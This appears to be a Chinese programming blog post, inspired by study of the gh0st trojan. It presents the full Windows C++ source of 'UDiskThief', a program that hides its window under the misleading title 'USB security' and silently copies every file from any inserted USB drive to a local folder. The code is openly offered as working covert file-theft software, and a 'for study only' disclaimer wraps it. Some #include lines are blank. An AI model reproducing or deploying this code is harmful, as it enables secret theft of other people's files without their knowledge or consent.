目的:远程访问计算机,从中获取所需要的文件,并拷贝至本地计算机。
灵感:从许多间谍窃取文件机密的程序中,获得灵感。木马病毒可以在植入“肉鸡”以后从中搜索相应文件,并远程通过互联网传送回“靶机”。
思考:因为涉及底层文件处理,选用C/C++语言进行编写。但由于之前并未接触类似知识,得一高人指路,自此得gh0st源码。开始学习之路。
从互联网上多方搜索,并对学习方案进行比对,最终选用“老狼”的gh0st课程讲解(课程中存在很多错误,而且我最想吐槽老狼的英语口语),并结合“离别歌"的“关于gh0st的学习笔记”。从中获益颇多。
学习过程之中我发现gh0st远比我需要实现的功能要强大的多,全面的学习工作量大,并且所需要的基础知识储备也更多。因此在学习的过程中,我主要取其中对于文件读写、远程传输、socket套接字和多线程处理等几个方面重点学习。这也是本文存在的原因,学习过程中多为理论与代码关系的处理。在学习完C++多线程和文件读写后,变想自己尝试一下去实现一下。也就有了本文所要描述的程序。
以下程序代码仅供学习交流使用,不得用于任何非法途径
本程序中主要实现了--读取拷贝插入电脑的U盘中的文件到电脑本地。速度是正常USB拷贝速度2倍(需要考虑usb的类型)。
因为整个拷贝程序是自动后台运行,打开电脑后,运行程序后,所有接入的U盘(移动硬盘除外)硬件中的文件都会拷贝到本机。整个过程是隐藏的。
因为写的比较仓促,没有加入异常控制和报错调试部分模块。可以自行加入Try。。。Catch模块进行控制。
代码全文:(这可能是我注释写的最明白的一次了)
#include
#include
#include
#pragma warning(disable:4996)
using namespace std;
#include "resource.h"
//拷贝线程句柄
HANDLE g_hThreadCopy = NULL;
//拷贝到目的地路径
TCHAR g_szDestPath[MAX_PATH] = "E:\\BackUDisk";
//获取当前插入设备对应磁盘编号 A--Z
char FirstDriveFromMask(ULONG unitMask);
//判断路径是否存在
BOOL IsDirectoryExist(LPCTSTR strPath);
// 开启拷贝文件线程
HANDLE StartCopyThread(char* szRootPath);
// 停止拷贝线程函数
void StopCopyThread();
//线程拷贝函数
DWORD WINAPI CopyDataProc(LPVOID lpParam);
//拷贝指定路径下所有文件
void Copy(char *lpszSourcePath, char *lpszDestPath);
LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
int WINAPI WinMain(
HINSTANCE hInstance, //当前程序运行的实例句柄,每运行一次操作系统会分配一个句柄值
HINSTANCE hPrevInstance, //当前实例的前一个实例句柄
LPSTR lpCmdLine, //命令行参数
int nCmdShow) //窗口显示方式
{
TCHAR szAppClassName[] = TEXT("UDiskThief");
WNDCLASS wndClass;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);
wndClass.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ICON1));
wndClass.hInstance = hInstance;
wndClass.lpfnWndProc = WindowProc;
wndClass.lpszClassName = szAppClassName;
wndClass.lpszMenuName = NULL;
wndClass.style = CS_VREDRAW | CS_HREDRAW;//
RegisterClass(&wndClass);
//创建窗口,窗口是通过句柄来标识
HWND hWnd = CreateWindow(szAppClassName, TEXT("U盘安全"), WS_OVERLAPPEDWINDOW, 200, 200, 300, 150, NULL, NULL, hInstance, NULL);
if (hWnd == NULL)
{
MessageBox(NULL, TEXT("创建窗口失败"), TEXT("提示"), MB_ICONERROR | MB_OK);
return 0;
}
ShowWindow(hWnd, SW_HIDE);
UpdateWindow(hWnd);
//Windows是基于消息的一种事件驱动方式的程序设计模式,比如鼠标点击,Windows会感知这个消息,
//然后将这个事件包装成一个消息,投递到应用程序的消息队列,然后应用程序从消息队列中取出这个消息,冰进行响应
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg); //将虚拟键消息转为字符消息
DispatchMessage(&msg); //分发消息到窗口回调函数,将消息回传给操作系统
}
return 0;
}
//窗口处理回调函数
LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
static PAINTSTRUCT ps;
TCHAR *pszRootPath = NULL;
switch (uMsg)
{
case WM_PAINT:
{
EndPaint(hWnd, &ps);
}
return TRUE;
case WM_CLOSE:
DestroyWindow(hWnd);
break;
case WM_DESTROY:
delete[] pszRootPath;//释放内存
PostQuitMessage(0);
break;
case WM_DEVICECHANGE:
/*
DBT_DEVICEARRIVAL: 已插入计算机,并且可以使用
DBT_DEVICEQUERYREMOVE:请求删除设备的权限,任何应用程序可以拒绝此请求并取消删除。
DBT_DEVICEQUERYREMOVEFAILED:请求删除设备已被取消。
DBT_DEVICEREMOVEPENDING:设备即将被删除,不能被拒绝。
DBT_DEVICEREMOVECOMPLETE:设备已被删除。
DBT_DEVICETYPESPECIFIC:特定于设备的事件
DBT_CONFIGCHANGED:当前配置已更改。
DBT_DEVNODES_CHANGED:计算机节点已更改。
*/
switch (wParam)
{
//已插入计算机,并且可以使用
case DBT_DEVICEARRIVAL:
{
//lParam 指向结构体的指针,标识插入的设备
/*
typedef struct _DEV_BROADCAST_HDR {
DWORD dbch_size;//这个结构的大小,以字节为单位。
DWORD dbch_devicetype; //设备类型;为2:表示逻辑卷。 DBT_DEVTYP_VOLUME
DWORD dbch_reserved;
} DEV_BROADCAST_HDR, *PDEV_BROADCAST_HDR;
*/
DEV_BROADCAST_HDR* lpdb = (DEV_BROADCAST_HDR*)lParam;
//既然是逻辑卷,获取盘符名称
/*
typedef struct _DEV_BROADCAST_VOLUME {
DWORD dbcv_size;//这个结构的大小
DWORD dbcv_devicetype;//设备类型; DBT_DEVTYP_VOLUME
DWORD dbcv_reserved; //系统保留; 不使用。
DWORD dbcv_unitmask; //标识一个或多个逻辑单元的逻辑单元掩码。 掩码中的每个位对应于一个逻辑驱动器。 位0表示驱动器A,位1表示驱动器B,依此类推。
WORD dbcv_flags; //标志组合 (DBTF_MEDIA:更改影响驱动器中的介质。DBTF_NET:指示逻辑卷是一个网络卷。)
} DEV_BROADCAST_VOLUME, *PDEV_BROADCAST_VOLUME;
*/
DEV_BROADCAST_VOLUME* lpdbv = (DEV_BROADCAST_VOLUME*)lpdb;
char chDisk = FirstDriveFromMask(lpdbv->dbcv_unitmask);
pszRootPath = new TCHAR[MAX_PATH];
sprintf(pszRootPath, "%c:", chDisk);
//判断驱动器类型 可移动设备
if (DRIVE_REMOVABLE == GetDriveType(pszRootPath))
{
Sleep(500);
//创建开始复制线程
g_hThreadCopy = StartCopyThread(pszRootPath);
}
return TRUE;
}
//设备已被删除
case DBT_DEVICEREMOVECOMPLETE:
StopCopyThread();
return TRUE;
}
return TRUE;
}
return DefWindowProc(hWnd, uMsg, wParam, lParam);
}
// 获取当前插入设备对应磁盘编号 A--Z
/*
标识一个或多个逻辑单元的逻辑单元掩码。 掩码中的每个位对应于一个逻辑驱动器。
位0表示驱动器A,位1表示驱动器B,依此类推。
*/
char FirstDriveFromMask(ULONG unitMask)
{
/*
位运算:
& 按位与 如果两个相应的二进制位都为1,则该位的结果值为1,否则为0
| 按位或 两个相应的二进制位中只要有一个为1,该位的结果值为1
^ 按位异或 若参加运算的两个二进制位值相同则为0,否则为1
~ 按位取反 ~是一元运算符,用来对一个二进制数按位取反,即将0变1,将1变0
<< 左移 低位补0
>> 右移 向右移动后,正数的话 高位补0,负数补1
*/
char i;
for (i = 0; i < 32; i++)
{
if (unitMask & 1)
break;
unitMask = unitMask >> 1;
}
return i + 'A';
}
//判断目录是否存在
BOOL IsDirectoryExist(LPCTSTR lpszPath)
{
//获取指定文件或目录的文件系统属性。失败返回:INVALID_FILE_ATTRIBUTES
DWORD dwFileAttr = ::GetFileAttributes(lpszPath);
if (dwFileAttr == INVALID_FILE_ATTRIBUTES)
return FALSE;
if (dwFileAttr & FILE_ATTRIBUTE_DIRECTORY)
return TRUE;
else
return FALSE;
}
// 开启拷贝文件线程
HANDLE StartCopyThread(char* szRootPath)
{
StopCopyThread();
//在主线程的基础上创建一个新线程
return CreateThread(
NULL, //线程安全属性
NULL, //堆栈的初始大小(以字节为单位)。 如果为0,则新线程使用可执行文件的默认大小。
CopyDataProc, //线程函数的起始地址
szRootPath, //传递给线程的参数指针
NULL, //线程创建标识
NULL); //线程ID
}
// 停止拷贝线程函数
void StopCopyThread()
{
if (g_hThreadCopy)
{
CloseHandle(g_hThreadCopy);
g_hThreadCopy = NULL;
}
}
//线程拷贝函数
DWORD WINAPI CopyDataProc(LPVOID lpParam)
{
char *szRootPath = (char*)lpParam;
//开始复制
Copy(szRootPath, g_szDestPath);
StopCopyThread();
return 0;
}
//拷贝指定路径下所有文件
void Copy(char *lpszSourcePath, char *lpszDestPath)
{
//拷贝到目的地,判断路径是否存在
if (!IsDirectoryExist(lpszDestPath))
{
//创建路径
SECURITY_ATTRIBUTES sa = { 0 };
CreateDirectory(lpszDestPath, &sa);
}
//查找到的所有类型的文件*.*
TCHAR szSourceFindPath[MAX_PATH];
strcpy(szSourceFindPath, lpszSourcePath);
strcat(szSourceFindPath, "\\*.*"); //文件名可以包括通配符,例如星号(*)或问号(?)。
WIN32_FIND_DATA FindFileData = { 0 }; //存储文件或目录的信息
/*
查找文件
第一个参数:路径或者文件名。 文件名可以包括通配符,例如星号(*)或问号(?)。
第二个参数:指向WIN32_FIND_DATA结构的指针,该结构接收有关找到的文件或目录的信息。
*/
HANDLE hFinder = ::FindFirstFile(szSourceFindPath, &FindFileData);
if (INVALID_HANDLE_VALUE == hFinder)
{
return;
}
while (TRUE)
{
if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
//如果为文件夹 包括. 或者..
if (FindFileData.cFileName[0] != '.')
{
//递归的来源路径
TCHAR szSourcePath[MAX_PATH];
strcpy(szSourcePath, lpszSourcePath);
strcat(szSourcePath, "\\");
strcat(szSourcePath, FindFileData.cFileName);
//存储到本地磁盘路径
TCHAR szDestPath[MAX_PATH];
strcpy(szDestPath, lpszDestPath);
strcat(szDestPath, "\\");
strcat(szDestPath, FindFileData.cFileName);
//递归调用
Copy(szSourcePath, szDestPath);
}
}
else
{
//新的文件
char szNewFileName[MAX_PATH];
char szUsbFileName[MAX_PATH];
sprintf(szNewFileName, "%s\\%s", lpszDestPath, FindFileData.cFileName);
sprintf(szUsbFileName, "%s\\%s", lpszSourcePath, FindFileData.cFileName);
CopyFile(szUsbFileName, szNewFileName, TRUE);
}
if (!FindNextFile(hFinder, &FindFileData))
break;
}
FindClose(hFinder);
}
本文章仅供学习交流使用,程序有可能被杀软误杀。我也不知道为什么。不过我以前写的程序,也常被误杀。。。